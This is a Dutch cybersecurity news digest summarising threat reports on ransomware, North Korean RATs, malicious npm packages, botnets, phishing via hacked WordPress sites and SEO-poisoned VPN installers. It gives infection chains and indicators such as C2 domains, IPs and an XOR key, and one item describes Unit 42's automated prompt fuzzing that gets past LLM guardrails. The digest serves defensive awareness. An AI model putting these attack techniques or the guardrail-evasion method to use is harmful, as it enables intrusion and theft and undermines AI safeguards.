Sommige games leken veilig bij de eerste release, maar een update voegde later de schadelijke code toe. De FBI heeft de volgende games officieel geïdentificeerd als onderdeel van de dreiging: Dashverse (ook bekend als DashFPS). Hoewel het geen bekende titels waren, was de financiële schade aanzienlijk voor degenen die ze speelden. In één geval verloor een streamer $32.000 tijdens een live liefdadigheidsuitzending. De totale schade door één van deze games, BlockBlasters, zou oplopen tot $150.000.

De verspreiding van de malware gebeurde niet alleen via de Steam store. De aanvallers waren ook actief op Discord en Telegram, waar ze spelers benaderden en de games aanbevolen in chatgroepen. Na de download vroegen de aanvallers soms om verificatiecodes om dieper in de accounts van de slachtoffers te komen. Steam heeft de betreffende games inmiddels verwijderd. De FBI zoekt nog steeds naar mensen die de games hebben gedownload, om hun zaak te versterken. Er is een vrijwillig formulier beschikbaar gesteld waar slachtoffers details kunnen invullen, zoals Steam-gebruikersnamen en de data waarop de games zijn gespeeld.

Kevin Kirkwood, CISO bij Exabeam, merkte op dat gamers een aantrekkelijk doelwit zijn: "Het is logisch dat kwaadwillenden malware in games plaatsen. Mensen die naar games kijken, denken niet noodzakelijkerwijs na over de gevolgen van het downloaden van iets dat 'gratis' is, terwijl het iets kan installeren dat het systeem blootstelt."

Het downloaden van games via Steam is over het algemeen veiliger dan het gebruik van anonieme sites voor bestandsdeling of onofficiële downloadplatforms van derden. Steam opereert binnen een gereguleerde infrastructuur en kan schadelijke titels verwijderen, misbruik onderzoeken en samenwerken met wetshandhaving wanneer criminele activiteiten plaatsvinden.

Bron: FBI

Het ransomware-ecosysteem staat onder druk als gevolg van verbeterde cybersecuritypraktijken, een groter vermogen van organisaties om te herstellen en dalende losgeldbetalingen. Dat blijkt uit een rapport van de Google Threat Intelligence Group (GTIG). Ondanks de verstoringen in het ransomware-ecosysteem, zoals de verdwijning van RaaS-groepen als LockBit, ALPHV, Basta en RansomHub, vulden Qilin en Akira het gat op, wat in 2025 leidde tot een recordaantal slachtoffers op dataleksites (DLS).

Het rapport geeft een overzicht van het ransomware-landschap en de tactieken, technieken en procedures (TTP's) die zijn waargenomen bij ransomware-incidenten in 2025 waarbij Mandiant Consulting betrokken was. Uit de analyse blijkt dat in een derde van de gevallen de initiële toegang werd verkregen door het misbruiken van kwetsbaarheden, meestal in VPN's en firewalls. In 77 procent van de geanalyseerde aanvallen met ransomware werd vermoedelijk data gestolen, een stijging ten opzichte van 57 procent in 2024. In ongeveer 43 procent van de aanvallen met ransomware richtten de aanvallers zich op virtualisatie-infrastructuren, een stijging ten opzichte van 29 procent in 2024. REDBIKE was de meest gebruikte ransomware-familie en was verantwoordelijk voor 30 procent van de geanalyseerde ransomware-incidenten.

De getroffen organisaties waren gevestigd in de regio Azië-Pacific, Europa, Noord-Amerika en Zuid-Amerika en in bijna elke sector. Hoewel ransomware naar verwachting in 2026 een van de meest impactvolle cyberdreigingen zal blijven, kan de vermindering van de winst sommige dreigingsactoren ertoe aanzetten om andere methoden en tactieken te gebruiken, zoals het verschuiven van doelwitten, het verder vergroten van data-extortieoperaties, het gebruik van agressievere afpersingstactieken of het opportunistisch gebruiken van toegang tot slachtofferomgevingen voor secundaire verdienmodellen.

Bron: microsoft.com | Bron 2: assets.sophos.com | Bron 3: coveware.com

Unit 42, het threat research team van Palo Alto Networks, heeft een onderzoek gepubliceerd waarin staat dat large language models (LLM's) nog steeds kwetsbaar zijn voor prompt aanvallen met injection. Onderzoekers ontwikkelden een op genetische algoritmen geïnspireerde prompt fuzzing-methode om automatisch varianten te genereren van verboden verzoeken, terwijl de oorspronkelijke betekenis behouden bleef. Deze methode meet ook de fragiliteit van de guardrails onder systematische herformulering.

Het onderzoek onthulde zwakke plekken in de guardrails, met ontwijkingspercentages variërend van lage enkelcijferige percentages tot hoge niveaus in specifieke zoekwoord- en/of modelcombinaties. Het belangrijkste verschil met eerdere single-prompt jailbreak-voorbeelden is schaalbaarheid. Kleine foutpercentages worden betrouwbaar wanneer aanvallers op grote schaal kunnen automatiseren.

Prompt jailbreaking is een op tekst gebaseerde bedreiging tegen GenAI-applicaties (generative AI) die worden aangedreven door LLM's, met name chatbots en chat-vormige workflows. Aanvallers maken inputs die het model manipuleren om guardrails te omzeilen, verboden inhoud te produceren of anderszins buiten de beoogde reikwijdte te opereren. Dit is van belang voor elke organisatie die GenAI integreert in klantenondersteuning, werknemerscopilots, ontwikkelaarstools of kennisassistenten. Omdat het primaire aanvalsoppervlak niet-vertrouwde natuurlijke taal is, kunnen fouten zich vertalen in veiligheidsincidenten, compliance-risico's en reputatieschade.

Unit 42 adviseert organisaties om LLM's te behandelen als niet-securitygrenzen, de scope te definiëren, gelaagde controles toe te passen, outputs te valideren en GenAI continu te testen met adversarial fuzzing en red-teaming. Palo Alto Networks Prisma AIRS en de Unit 42 AI Security Assessment bieden bescherming tegen de bedreigingen die in dit artikel worden besproken.

Bron: Unit 42 | Bron 2: learn.microsoft.com | Bron 3: mastodon.social

De Noord-Koreaanse dreigingsactor Konni is actief in het verspreiden van malware via spear phishing en het misbruiken van de KakaoTalk desktop applicatie van slachtoffers. Het doel is om zo kwaadaardige payloads te distribueren naar specifieke contacten. Dit blijkt uit onderzoek van het Zuid-Koreaanse threat intelligence bedrijf Genians.

De eerste toegang wordt verkregen via een spear phishing e-mail, vermomd als een uitnodiging voor een lezing over Noord-Koreaanse mensenrechten. Na succesvolle infectie voert het slachtoffer een kwaadaardig LNK-bestand uit, wat resulteert in de installatie van een remote access trojan (RAT). Deze malware blijft langere tijd verborgen op het endpoint van het slachtoffer, waar het interne documenten en gevoelige informatie steelt.

De dreigingsactor maakt misbruik van de KakaoTalk applicatie op de geïnfecteerde systemen om kwaadaardige ZIP-bestanden te verspreiden naar contacten. De aanvallers selecteren bepaalde contacten uit de vriendenlijst van het slachtoffer en sturen hen extra kwaadaardige bestanden. Hierbij gebruiken ze bestandsnamen die zijn vermomd als Noord-Korea gerelateerd materiaal, om ontvangers te verleiden de bestanden te openen.

De spear phishing e-mail bevat een ZIP-bestand met een Windows shortcut (LNK). Bij uitvoering downloadt het LNK-bestand een payload van een externe server, creëert persistentie via scheduled tasks en voert de malware uit. Tegelijkertijd wordt een PDF decoy document getoond om de gebruiker af te leiden.

De gedownloade malware, geschreven in AutoIt, is een RAT genaamd EndRAT (ook bekend als EndClient RAT). Hiermee kan de aanvaller de controle over het geïnfecteerde systeem overnemen via functies zoals file management, remote shell access, data transfer en persistentie.

Analyse van de geïnfecteerde host toonde ook de aanwezigheid aan van AutoIt scripts die corresponderen met RftRAT en RemcosRAT. Dit suggereert dat de aanvaller het slachtoffer waardevol genoeg achtte om meerdere RAT families te installeren voor een betere weerbaarheid.

Genians concludeert dat deze campagne een multi-stage aanval is die verder gaat dan simpele spear phishing. Het combineert lange termijn persistentie, informatie diefstal en account-gebaseerde redistributie.

Bron: Genians | Bron 2: thn.news

Een nieuw ontdekte ransomware, genaamd "Payload", vormt een serieuze bedreiging voor organisaties in diverse sectoren. Deze ransomware combineert sterke encryptietechnieken met geavanceerde anti-forensische mogelijkheden. De groep achter Payload is actief sinds minstens 17 februari 2026, de dag waarop hun Windows-binary werd gecompileerd. Het eerste slachtoffer verscheen enkele uren na de lancering op hun dark web leak site.

Payload heeft inmiddels 12 slachtoffers in zeven landen geclaimd, met in totaal 2.603 gigabyte aan vermeend gestolen data in handen van de operators. De groep richt zich op middelgrote tot grote organisaties in de gezondheidszorg, vastgoed, energie, telecommunicatie en landbouw, voornamelijk in opkomende markten.

Payload hanteert een double-extortion model, waarbij data van slachtoffernetwerken wordt gestolen voordat de bestanden worden versleuteld. Vervolgens dreigen ze de data te publiceren als er geen losgeld wordt betaald. Slachtoffers worden doorverwezen naar een Tor-gebaseerd onderhandelingsportaal met unieke inloggegevens per slachtoffer, terwijl gestolen bestanden worden gepost op een aparte Tor leak blog met een countdown timer. Op 15 maart 2026 claimde Payload publiekelijk een inbreuk op het Royal Bahrain Hospital, waarbij 110 GB aan gestolen data werd geclaimd en een reactietermijn van 23 maart werd gesteld.

Onderzoekers van Derp.Ca identificeerden de malware door een reverse-engineering analyse van zowel de Windows-binary als de Linux ELF-variant. Ze ontdekten dat zeventien VirusTotal engines het Windows-sample als Babuk markeerden, wat het linkt aan de Babuk-source code die in september 2021 publiekelijk uitlekte. De ransomware creëert ook een mutex genaamd MakeAmericaGreatAgain bij het opstarten, een single-instance lock die voorkomt dat meerdere kopieën van de malware tegelijkertijd op dezelfde machine draaien.

Ondanks de Babuk-origine is Payload geen simpele kopie. De ontwikkelaar heeft het originele HC-128 cipher vervangen door ChaCha20 en anti-forensische mogelijkheden toegevoegd die niet in de originele Babuk-code aanwezig waren. Deze omvatten het patchen van vier Windows event tracing functies in ntdll.dll om endpoint detection tools te misleiden, het wissen van alle Windows event logs nadat de encryptie is voltooid, en het gebruiken van een NTFS Alternate Data Stream rename trick om stilletjes de binary te verwijderen zonder een child process of tijdelijk bestand achter te laten. Deze toevoegingen maken forensisch onderzoek aanzienlijk moeilijker.

De encryptiemethode maakt Payload gevaarlijk. De ransomware combineert Curve25519 elliptic-curve key exchange met de ChaCha20 stream cipher om elk bestand met een unieke sleutel te vergrendelen. Voor elk bestand wordt een nieuw Curve25519 key pair en een 12-byte nonce gegenereerd met behulp van CryptGenRandom. Een ECDH key agreement tussen de per-file key en de hardcoded public key van de operator produceert een shared secret, dat direct wordt gebruikt als de ChaCha20 encryptiesleutel. Bestanden groter dan 2 GB ontvangen slechts 20% encryptie, verspreid over gelijkmatig verdeelde 1 MB chunks, waardoor de ransomware sneller werkt op grote storage systemen.

Nadat elk bestand is vergrendeld, wordt een 56-byte footer eraan toegevoegd, RC4-encrypted met de drie-byte key FBI. Deze footer slaat de per-file public key en nonce op die de operator nodig heeft om de encryptie later terug te draaien. Zodra de footer is geschreven, wordt de per-file private key direct uit het geheugen verwijderd en nooit opgeslagen op de schijf. Analisten van Derp.Ca vonden geen cryptografische zwakte in de implementatie: geen backdoor, geen fout en geen decryptiepad. Zonder de Curve25519 private key van de operator blijft elk versleuteld bestand permanent onbereikbaar.

Organisaties wordt aangeraden om immutable offline backups te onderhouden en deze regelmatig te testen, aangezien Payload back-updiensten van Veeam, Acronis en BackupExec aanvalt en uitschakelt. Security teams moeten niet uitsluitend vertrouwen op ETW-gebaseerde monitoring, aangezien Payload vier core ntdll functies patcht om dit uit te schakelen. Elk proces dat vssadmin uitvoert om shadow copies te verwijderen of een volledige event log wipe uitvoert, zou een onmiddellijke waarschuwing moeten triggeren. De mutex MakeAmericaGreatAgain en de encrypted file extension .payload zijn beide betrouwbare host-based indicators of compromise. YARA detection rules voor zowel de Windows- als Linux-builds zijn publiekelijk beschikbaar op github.com/kirkderp/yara.

Bron: Derp.Ca

Netwerkinfrastructuren zijn steeds vaker het doelwit van cyberaanvallen. De focus van zowel statelijke actoren als financieel gedreven criminelen verschuift naar routers, firewalls en andere netwerkapparaten. Deze apparaten vormen de kern van bedrijfsomgevingen en zijn daarmee ideale toegangspunten voor langdurige toegang of grootschalige verstoring.

Op 6 maart 2026 werden twee niet eerder gedocumenteerde malware samples ontdekt die Linux-gebaseerde netwerkapparaten aanvallen. De eerste is een nieuwe variant van CondiBot, een DDoS-botnet afgeleid van de bekende Mirai-malwarefamilie. CondiBot is ontworpen om gecompromitteerde Linux systemen om te zetten in op afstand bestuurde aanvalsknooppunten. De tweede is een cryptomining-operatie genaamd "Monaco", geschreven in Go 1.24.0. Monaco scant het internet op blootgestelde SSH-servers, breekt in met brute-force technieken en mijnt in het geheim Monero-cryptocurrency op gecompromitteerde machines. Geen van beide samples was eerder gemarkeerd op grote threat intelligence platforms, waaronder VirusTotal, ThreatFox of Hybrid Analysis.

Eclypsium-onderzoekers identificeerden beide malware stammen doorlopend netwerkinfrastructuur bedreigingen te monitoren. Ze merkten op dat het richten op apparaten, waaronder Fortinet-apparatuur, nu wordt gedeeld tussen statelijke actoren en financieel gemotiveerde cybercriminelen. De variant van CondiBot draagt een interne string-identifier met het label "QTXBOT", die niet in eerdere Condi-rapporten is gezien, wat mogelijk duidt op een niet-gerapporteerde fork. Monaco stuurt gestolen SSH-credentials naar een command-and-control server op Alibaba Cloud Singapore, wat volgens de onderzoekers wijst op een dreigingsactor met een opvallend lage operationele beveiliging.

Wat beide bedreigingen zorgwekkend maakt, is hun multi-architectuur ontwerp. CondiBot ondersteunt ARM, MIPS, x86 en x86_64 platforms, wat betekent dat het kan draaien op vrijwel elk kwetsbaar Linux-apparaat, ongeacht de hardwareleverancier. Monaco is eveneens gecompileerd voor meerdere architecturen, waaronder ARM32, ARM64 en MIPS, waardoor het bereik heeft over IoT apparaten, routers en servers.

Eenmaal op een apparaat gebruikt CondiBot een gelaagde delivery-aanpak, waarbij het door meerdere file transfer utilities fietst (wget, curl, tftp en ftpget) om ervoor te zorgen dat de payload het doel bereikt, zelfs als sommige tools niet beschikbaar zijn. De bot registreert zich vervolgens bij zijn command-and-control server en stuurt een registratiepakket om de gecompromitteerde node te identificeren voordat hij wacht op aanvalinstructies. Deze variant kan systeem reboot utilities uitschakelen door hun file permissions in te stellen op 000, waardoor het apparaat van normale herstel mogelijkheden wordt ontdaan. Het manipuleert ook de hardware watchdog om zichzelf actief te houden, terwijl het concurrerende botnet processen op dezelfde machine opspoort en doodt, waaronder een proces dat is gekoppeld aan de Sora botnet familie. De variant registreert 32 attack handlers, meer dan eerdere Condi-versies, wat waarschijnlijk nieuwe flood technieken en protocol-level methoden vertegenwoordigt die het bereik van doelen dat het kan raken uitbreiden.

Organisaties wordt aangeraden om netwerkgerichte apparaten te controleren op ongeautoriseerde processen en onverwachte verbindingen. Zwakke of default SSH-credentials moeten onmiddellijk worden vervangen en SSH-toegang moet worden beperkt tot vertrouwde IP-adressen. Firmware op routers, firewalls en IoT apparaten moet up-to-date blijven en end-of-life hardware zonder beschikbare patches moet worden geïsoleerd of buiten gebruik worden gesteld. Het monitoren van ongebruikelijke CPU-activiteit kan helpen bij het detecteren van cryptomining zoals Monaco voordat het aanhoudende schade veroorzaakt.

Bron: Eclypsium

Onderzoekers hebben een remote access trojan (RAT), bekend als PylangGhost, ontdekt in twee malafide JavaScript-packages op de npm-registry. De malware, die voor het eerst werd onthuld door Cisco Talos in juni 2025 en toegeschreven aan de Noord-Koreaanse staat gesponsorde dreigingsgroep FAMOUS CHOLLIMA, markeert een aanzienlijke escalatie in software supply chain aanvallen gericht op ontwikkelaars wereldwijd.

FAMOUS CHOLLIMA staat bekend om het richten op softwareontwikkelaars via getrojaniseerde code repositories, valse vacatures en social engineering tactieken. Hun bewuste verplaatsing naar npm, een van de meest gebruikte open-source package registries ter wereld, signaleert een berekende poging om ontwikkelingspipelines op grotere schaal te compromitteren.

Kmsec.uk onderzoekers identificeerden twee kwaadaardige packages, @jaime9008/math-service (geüpload eind februari 2026) en react-refresh-update (begin maart 2026), gepubliceerd door gebruiker jaime9008, gekoppeld aan het e-mailadres jaimeandujo086[@]gmail.com. Beide packages doorliepen snel meerdere versie-updates, met de PylangGhost loader ingebed in belangrijke JavaScript-bestanden, waaronder runtime.js, babel.js en lib/lib.js. De campagne-identificatie die in de malware is gecodeerd, is "ML2J", en de command-and-control (C2) infrastructuur van de aanvaller is gebaseerd op het domein malicanbur[.]pro, met een C2 IP-adres van 173.211.46[.]22:8080.

De infectieketen is zorgvuldig gestructureerd om stilzwijgend uit te voeren op Windows-, macOS- en Linux systemen. Nadat een ontwikkelaar een getroffen package installeert, wordt automatisch een JavaScript loader uitgevoerd. Deze loader volgt een decode-decrypt-evaluate sequentie en gebruikt een hardcoded XOR-sleutel ("fdfdfdfdf3rykyjjgfkwi") om de verborgen payload te ontgrendelen voordat deze in het geheugen wordt uitgevoerd. Na decryptie controleert de loader het besturingssysteem van het slachtoffer en past zijn gedrag dienovereenkomstig aan.

Op Windows-machines downloadt het een ZIP-archief van malicanbur[.]pro in stappen van 10 MB, om netwerk monitoring tools te omzeilen. Het archief wordt uitgepakt naar de temp-directory van het systeem en een VBScript-bestand genaamd start.vbs wordt stilzwijgend gestart via wscript. Op macOS- en Linux-machines wordt direct een shellscript opgehaald en uitvoerbaar gemaakt. De Windows payload is geüpload naar VirusTotal met de hash 0be2375362227f846c56c4de2db4d3113e197f0c605c297a7e0e0c154e94464e. Het RAT is in staat om Chrome extensie ID's op te sommen, waardoor aanvallers toegang krijgen tot browser-opgeslagen credentials en gevoelige persoonlijke gegevens.

Ontwikkelaars en security teams wordt aangeraden hun npm dependency trees te controleren op react-refresh-update en @jaime9008/math-service en beide packages te verwijderen indien gevonden. Al het netwerkverkeer naar malicanbur[.]pro en 173.211.46[.]22:8080 moet worden geblokkeerd.

Bron: Kmsec.uk

Een geavanceerde spionagecampagne, bekend als Operation CamelClone, richt zich actief op overheidsinstanties, defensie-instellingen en diplomatieke instanties in verschillende landen, waaronder Algerije, Mongolië, Oekraïne en Koeweit. De operatie maakt gebruik van spear-phishing e-mails met kwaadaardige ZIP-archieven die zijn vermomd als officiële overheidsdocumenten. Slachtoffers worden misleid om een meerstaps infectieketen te activeren die uiteindelijk leidt tot datadiefstal met behulp van een legitieme cloud transfer tool.

De campagne kwam voor het eerst aan het licht in februari 2026, toen een verdacht ZIP-bestand, vernoemd naar het Algerijnse Ministerie van Huisvesting, Stedelijke Ontwikkeling en de Stad, werd opgemerkt op VirusTotal. Kort daarna dook een tweede sample op, gericht op Mongolië met een lokaas rond het thema "Uitbreiding van de samenwerking met China". In maart verschenen nog twee samples: één met verwijzing naar Algerijns-Oekraïense samenwerkingsvoorstellen en een andere gericht op de Koeweitse luchtmacht met een defensie-inkoop decoy, wat het brede geografische bereik van de campagne bevestigt.

Analisten van Seqrite identificeerden de volledige omvang van Operation CamelClone en merkten op dat, hoewel de doellanden misschien niet verbonden lijken, ze elk op een cruciaal punt in het huidige mondiale geopolitieke landschap zitten. Oekraïne blijft het middelpunt van een actief gewapend conflict, Algerije speelt een sleutelrol in de Europese en Afrikaanse energiepolitiek, Mongolië navigeert door spanningen tussen China, Rusland en westerse partners, en Koeweit is een strategische defensiepartner in de Golf. De aanvallers lijken hun doelen zorgvuldig te hebben geselecteerd op basis van inlichtingenwaarde in plaats van financiële motieven.

Het aanvalsverloop van de campagne is consistent in alle waargenomen samples. Elk ZIP-archief bevat een Windows-shortcutbestand (LNK) naast een overtuigende decoy-afbeelding met een officieel overheidslogo. Zodra het slachtoffer de shortcut opent, wordt op de achtergrond stilletjes een verborgen PowerShell-commando uitgevoerd, dat de volgende fase van de aanval van een anoniem publiek bestandsdeling platform haalt. Wat deze operatie bijzonder moeilijk te detecteren maakt, is de volledige afwezigheid van dedicated command-and-control servers. In plaats daarvan hosten de aanvallers al hun kwaadaardige payloads op filebulldogs[.]com, een publieke bestandsdeling site, en leiden ze gestolen data via MEGA cloud storage. Deze aanpak vermengt kwaadaardig verkeer effectief met gewone internetactiviteit, waardoor detectie via standaard netwerkmonitoring aanzienlijk moeilijker wordt.

Zodra het shortcutbestand wordt uitgevoerd, downloadt een PowerShell-commando een JavaScript-bestand met de naam f.js van filebulldogs[.]com en voert dit onmiddellijk uit. Deze loader, die Seqrite-onderzoekers volgen onder de naam HOPPINGANT, is een Windows Script Host JavaScript dat twee Base64-gecodeerde PowerShell-commando's uitvoert om verdere kwaadaardige activiteiten uit te voeren. Deze commando's downloaden eerst een null-padded decoy PDF om het slachtoffer af te leiden, en halen vervolgens een ZIP-archief met de naam a.zip op, dat een draagbare kopie van Rclone bevat - een legitieme open-source cloud file transfer tool - versie v1.70.3. Na het uitpakken en uitvoeren van Rclone decodeert het script een opgeslagen wachtwoord met behulp van een eenvoudige XOR-methode met de sleutelwaarde 56, en gebruikt het vervolgens om in te loggen op een MEGA-account dat is geregistreerd onder een anoniem onionmail.org e-mailadres. Met de verbinding tot stand gebracht, scant de tool het bureaublad van het slachtoffer op .doc-, .docx-, .pdf- en .txt-bestanden en uploadt deze rechtstreeks naar de opslag van de aanvaller. Het script richt zich ook op Telegram-sessiedata uit de Telegram Desktop tdata directory, waardoor de aanvaller mogelijk toegang krijgt tot privé-conversaties. Vier unieke MEGA-accounts werden geïdentificeerd in alle campagnes, die allemaal in februari en maart 2026 zijn geregistreerd.

Organisaties in de overheids-, defensie- en diplomatieke sector moeten ongevraagde ZIP-bestanden met grote voorzichtigheid behandelen, vooral die welke verwijzen naar officiële instellingen of defensiepartnerschappen. Het blokkeren van toegang tot anonieme bestandsdeling platforms en het monitoren van uitgaand verkeer naar cloud storage services zoals MEGA kan de blootstelling beperken. Het beperken van de uitvoering van LNK-bestanden van niet-vertrouwde bronnen en het implementeren van gedragsgebaseerde endpoint detection tools kan helpen de PowerShell- en JavaScript-gebaseerde uitvoeringsketen te stoppen voordat deze is voltooid.

Bron: Seqrite

Cybercriminelen misbruiken gecompromitteerde WordPress-websites in een multi-vector phishingcampagne om inloggegevens van Microsoft Teams- en Xfinity-gebruikers te stelen. Door legitieme websites te hacken, omzeilen de aanvallers beveiligingsfilters en misleiden ze slachtoffers om gevoelige informatie prijs te geven.

De aanvallers gebruiken drie verschillende phishing-lokmiddelen om een vals gevoel van urgentie te creëren:

1. **Teams Voice Message:** Een e-mailnotificatie die beweert dat de gebruiker een gemiste voicemail heeft op Microsoft Teams.

2. **Shared Documents:** Een misleidende waarschuwing die stelt dat er een nieuw document is gedeeld, waardoor de gebruiker snel wordt aangespoord om op de link te klikken om het bestand te bekijken.

3. **UAE Pass Spoofing:** Een regionaal gerichte lokmail die valse inlogverzoeken verzendt naar gebruikers van het UAE Pass digitale identiteitssysteem.

De aanvalsketen werkt als volgt:

1. **De haak:** Het slachtoffer ontvangt een phishing-e-mail, zoals een valse "Teams Voice Message"-waarschuwing, met een "Listen Now"-knop.

2. **Het draaipunt:** Wanneer de gebruiker op de link klikt, worden ze stiekem omgeleid via een tracking domein, specifiek skimresources[.]com.

3. **De payload:** De omleiding leidt het slachtoffer uiteindelijk naar een zeer overtuigende, pixel-perfecte valse inlogpagina. Deze valse pagina's bootsen Microsoft Teams, Xfinity of UAE Pass na.

4. **Het doel:** Zodra de gebruiker zijn gebruikersnaam en wachtwoord invoert, oogsten aanvallers de inloggegevens om de accounts van het slachtoffer volledig over te nemen.

Een belangrijk kenmerk van deze campagne is het misbruik van legitieme WordPress-websites. De aanvallers hacken slecht beveiligde sites en verbergen hun kwaadaardige phishing-pagina's diep in standaard systeemmappen. Door hun valse inlogpagina's in kernmappen zoals /wp-includes/ of /bin/ te plaatsen, kunnen de aanvallers zich in het zicht verbergen en onmiddellijke detectie door website-eigenaren en geautomatiseerde beveiligingsscanners vermijden.

Beveiligingsteams en netwerkbeheerders wordt aangeraden de volgende gecompromitteerde domeinen en bestandspaden te blokkeren die aan deze campagne zijn gekoppeld:

* crsons[.]net/wp-includes/js/tinymce/~

* crsons[.]net/wp-includes/cgi/UAE%20PASS.htm

* afghantarin[.]com/afghantarin/admin/waitme/~

* medinex[.]in/includes/bin/index[.]php

* cabinetzeukeng[.]net/config/[.]bin/voicemail

Om zich tegen deze dreiging te beschermen, moeten organisaties werknemers trainen om e-mail afzenders zorgvuldig te verifiëren en over links te zweven voordat ze erop klikken, vooral bij het ontvangen van onverwachte voicemails of documentwaarschuwingen. Daarnaast moeten websitebeheerders ervoor zorgen dat hun WordPress-installaties, thema's en plug-ins volledig zijn bijgewerkt om te voorkomen dat hun infrastructuur wordt ingezet als wapen.

Bron: KnowBe4

De LeakNet ransomwaregroep maakt nu gebruik van de techniek van ClickFix voor initiële toegang tot bedrijfsomgevingen en zet een malware loader in op basis van de open-source Deno runtime voor JavaScript en TypeScript. De aanvallers gebruiken de legitieme Deno runtime om een kwaadaardige payload te decoderen en direct in het systeemgeheugen uit te voeren. Hierdoor wordt forensisch bewijs op de schijf geminimaliseerd en de kans op detectie verkleind.

LeakNet is een relatief recente ransomware dreiging die sinds eind 2024 actief is. Gemiddeld zijn er drie slachtoffers per maand, maar de operatie kan uitbreiden door de adoptie van nieuwe tactieken. ClickFix is een veelgebruikte social engineering aanval die gebruikers misleidt om kwaadaardige commando's op hun systemen uit te voeren via valse prompts. Deze techniek is al door meerdere ransomware groepen gebruikt, zoals Termite en Interlock.

In het geval van LeakNet leidt de ClickFix lokroep tot de implementatie van een op Deno gebaseerde loader die een JavaScript payload in het systeemgeheugen uitvoert. ReliaQuest noemt deze tactiek een "bring your own runtime" (BYOR) aanval, omdat Deno een legitieme JavaScript/TypeScript runtime is die JS/TS code buiten de browser op een systeem kan uitvoeren. Deno is ondertekend en legitiem, waardoor het blocklists en filters voor onbekende binaire executie omzeilt.

Volgens ReliaQuest installeren de aanvallers het legitieme Deno executable en gebruiken ze dit om kwaadaardige code uit te voeren. Dit proces wordt geïnitieerd via Visual Basic Script (VBS) en PowerShell scripts, met de namen Romeo*.ps1 en Juliet*.vbs. Het gebruik van Deno voor directe in-memory executie is essentieel, omdat de activiteit minimale forensische sporen achterlaat en wordt weergegeven als een normale ontwikkelaarstaak.

Na uitvoering verzamelt de code informatie over de host, genereert een unieke slachtoffer ID en maakt verbinding met de command-and-control (C2) server om de tweede fase payload op te halen. Tegelijkertijd voert het een permanente polling loop uit om nieuwe commando's van de C2 te ontvangen. In de postexploitatie fase gebruikt LeakNet DLL sideloading (jli.dll geladen via Java in C:\ProgramData\USOShared), C2 beaconing, credential discovery via ‘klist’ enumeratie, laterale verplaatsing via PsExec, en payload staging en data exfiltratie waarbij Amazon S3 buckets worden misbruikt.

De onderzoekers benadrukken dat de consistentie en herhaalbaarheid van de aanvalsketen mogelijkheden bieden voor detectie. Sterke signalen van potentiële LeakNet activiteit omvatten Deno die buiten ontwikkelomgevingen draait, verdachte ‘misexec’ executie vanuit browsers, abnormaal PsExec gebruik, onverwacht uitgaand verkeer naar S3 en DLL sideloading in ongebruikelijke directories.

Bron: ReliaQuest | Bron 2: hubs.li

GitGuardian rapporteert een sterke toename van het aantal gelekte AI service credentials op GitHub. Uit het vijfde "State of Secrets Sprawl" rapport blijkt dat de adoptie van AI in 2025 de softwareontwikkeling heeft veranderd en de blootstelling van non-human identities (NHI's) en hun geheimen heeft versneld.

Het rapport laat zien dat het aantal geheimen sneller groeit dan het software ecosysteem zelf, en dat de sanering achterblijft. Het aantal openbare commits is met 43% gestegen ten opzichte van het voorgaande jaar, minstens twee keer zo snel als voorheen. Sinds 2021 groeien geheimen ongeveer 1,6 keer sneller dan het aantal actieve ontwikkelaars. Het aantal gelekte geheimen in door AI ondersteunde code was gemiddeld twee keer zo hoog als de GitHub brede basislijn. Dit alles heeft geleid tot een toename van 34% in nieuw gelekte geheimen op GitHub, met in totaal ongeveer 29 miljoen gedetecteerde geheimen.

Het rapport benadrukt negen belangrijke punten voor CISO's bij het beveiligen van Non-Human Identities (NHI): Blootgestelde credentials blijven een belangrijke route naar compromissen. AI assistentie heeft de snelheid van softwarecreatie verhoogd en het aantal tokens, sleutels en service identiteiten in moderne stacks vermenigvuldigd, zonder dat de governance is verbeterd. AI assistenten vergroten het risico in nieuwe categorieën credentials. Commits met Claude Code ondersteuning lekten geheimen met een snelheid van ongeveer 3,2%, twee keer de basislijn. Lekken van AI service credentials nemen het snelst toe, met een stijging van 81% ten opzichte van het voorgaande jaar (tot 1.275.105).

GitGuardian CEO Eric Fourrier zegt dat AI agents lokale credentials nodig hebben om verbinding te maken tussen systemen, waardoor de laptops van ontwikkelaars een groot aanvalsoppervlak worden. Security teams moeten in kaart brengen welke machines welke geheimen bevatten en kritieke zwakke punten aan het licht brengen, zoals overgeprivilegieerde toegang en blootgestelde productiesleutels.

Volgens GitGuardian is de industrie een groeiende schuld aan het opbouwen en heeft ze NHI governance nodig, niet alleen detectie. Ongeveer 60% van de beleidsovertredingen betreft credentials die langere tijd actief blijven. Prioritering is moeilijk, omdat ongeveer 46% van de kritieke geheimen geen door de leverancier geleverd validatiemechanisme heeft. Sanering mislukt op grote schaal: 64% van de geldige geheimen uit 2022 is in 2026 nog steeds niet ingetrokken.

GitGuardian is een NHI beveiligingsplatform dat organisaties in staat stelt hun Non-Human Identities (NHI's) te beveiligen en te voldoen aan industrienormen. Het platform integreert Secrets Security en NHI Governance en ondersteunt meer dan 550 soorten geheimen.

Bron: GitGuardian

De financieel gemotiveerde dreigingsactor Storm-2561 voert sinds mei 2025 een campagne voor het stelen van inloggegevens. Hierbij manipuleert de actor zoekmachineresultaten om valse VPN software aan te bieden aan zakelijke gebruikers. De campagne richt zich op medewerkers die zoeken naar tools zoals Pulse Secure, Fortinet en Ivanti. Ze worden omgeleid naar vervalste websites die schadelijke downloadpakketten aanbieden. Na installatie oogst de valse software op de achtergrond VPN gegevens en stuurt deze naar door de aanvallers gecontroleerde servers, zonder zichtbare waarschuwingen te geven.

Storm-2561 past SEO poisoning toe om frauduleuze websites bovenaan de zoekresultaten te krijgen voor zoekopdrachten als "Pulse VPN download" of "Pulse Secure client". Gebruikers die op deze resultaten klikken, komen terecht op pagina's die identiek zijn aan de echte VPN vendorportals, inclusief logo's en downloadknoppen. De schadelijke ZIP bestanden werden gehost op repositories op GitHub, die inmiddels zijn verwijderd. De trojans waren digitaal ondertekend met een certificaat uitgegeven aan "Taiyuan Lihua Near Information Technology Co., Ltd.", een certificaat dat inmiddels is ingetrokken.

Microsoft Defender Experts identificeerde de campagne half januari 2026 en schreef deze toe aan Storm-2561. Deze campagne past in een bekend patroon van malwareverspreiding via SEO misbruik en software-imitatie. Het combineren van realistische, vervalste websites met legitiem uitziende digitale handtekeningen is een bewuste poging om de argwaan van gebruikers te verminderen en het bereik van de campagne te vergroten.

